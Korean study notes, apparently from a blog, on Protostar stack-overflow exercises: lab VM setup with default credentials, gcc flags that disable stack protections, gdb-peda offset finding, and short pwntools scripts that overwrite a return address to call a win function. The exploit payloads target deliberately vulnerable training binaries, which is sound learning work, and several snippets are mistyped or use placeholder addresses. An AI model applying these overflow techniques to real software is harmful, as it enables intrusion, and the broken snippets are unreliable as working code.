라이브 오버플로우 프로토스타
http://liveoverflow.com/binary_hacking/protostar/
vmware player 다운로드
https://www.vmware.com/kr/products/workstation-player/workstation-player-evaluation.html
프로토 스타 제공하는 우분투 기반의 iso 파일.
- 라이브 cd 이미지
-- 가상머신 생성
-- 우분투 32bit
root/godmode
kali linux dawnload
https://www.offensive-security.com/kali-linux-vm-vmware-virtualbox-image-download/
root/toor
gcc 스택오버플러우 허용 옵션
gcc -z execstack -no-pie -w -o
execstack : 기본 옵션처리에서 스택의 접근 권한을 할 수 업게한다. 이 옵션을 사용하면 스택에 접근 권한을 부여한다.
-no-pie : 기타 자료형이 메모리에 올라갈때 무작위 메모리 맵과 맵핑이 이루어진다. 이 옵션을 주면 무작위 맵핑 처리를 하지 말라는 의미.
파이썬으로 문자열 생성
shell> python -c "printf('a'*80)"
rsi -> source index 출발지
rdi -> destination index 목적지
peda 다운로드 사이트
https://github.com/longld/peda
설치
git clone https://github.com/longld/peda.git peda
echo "source peda/peda.py" >> ~/.gdbinit
echo "DONE! debug your program with gdb and enjoy"
참고:
./surface4/4.14/linux-surface-master/kernel/Documentation/frv/gdbinit
./Qt5.7.1/5.7/Src/qtwebengine/src/3rdparty/chromium/v8/tools/gdbinit
리눅스 환경변수 설정
export GREENIE='AAAAA'
peda에서 패턴 만들기
pattern create 100
b *main+89
peda에서 패턴 오프셋 확인하기
gdb-peda$ pattern offset 0x41413341
1094792001 found at offset: 68
Exploit 코드
export GREENIE=$(python -c 'print "A"*68 + "\x0a\x0d"*4')
pwntools 사용방법
https://github.com/Gallopsled/pwntools-tutorial/blob/master/tubes.md
자동 접속 후 CLI 제어
python 2.7 버전에서 동작
설치
shell> sudo apt-get install python-dev
shell> sudo python2 -m pip install pwn
telnet 설치
shell> sudo apt-get install xinetd telentd
shell> sudo vi/etc/xintd.d/telnet
# default: off
service telnet
{
disable = no
flags = REUSE
socket_type = stream
wait = no
user = root
server = /usr/sbin/in.telnetd
log_on_failure += USERID
}
shell> /etc/init.d/xinetd restart 또는 service xinetd restart
테스트 사용자 생성
shell> useradd user1
shell> passwd user1
사용자 테스트
shell> telnet 127.0.0.1
login: user1
Password:
$> 셜 프롬프트
자동 스크립트 작성
shell> vi login.py
import pwn
/*
pwn.process() // 내부 접속
pwn.ssh() // 보안 접속
pwn.connect() // 외부 접속
*/
p = pwn.process(['telnet', '127.0.0.1']) // 인자 전달, 리스트 형식으로 전달
print p.recvuntil('login: ')
p.sendline('user1')
print p.recvuntil('Passwor: ')
p.sendline('1234') // 패스워드
print p.recvuntil('$')
p.sendline('echo 1234')
print p.recvline()
print "recv test"
print p.recvline()
print p.recvline()
print p.recvline()
print p.recvline()
:wq
패턴 생성
gdb-peda) pattern create 80
패턴 간격 확인
gdb-peda) pattern offset 패턴문구
환경변수 생성(cpu 빅엔디안, 리틀엔디안)
export TESTAAA=$(python -c 'print "A"*68 + "\x0d0a"*4)
win 함수 주소
win_addr = 0x~~~400577
페다에서 패턴 오프셋 확인하기
gdb-peda$ pattern offset 0x4134414165414149
4698452060381725001 found at offset: 72
파이썬 코드
from pwn import *
p = process('./stack3')
win_addr = p64(0x~~~400577)
payload = 'A'*72 + win_addr
p.sendline(payload)
print p.recvrepeat(1)
댓글 없음:
댓글 쓰기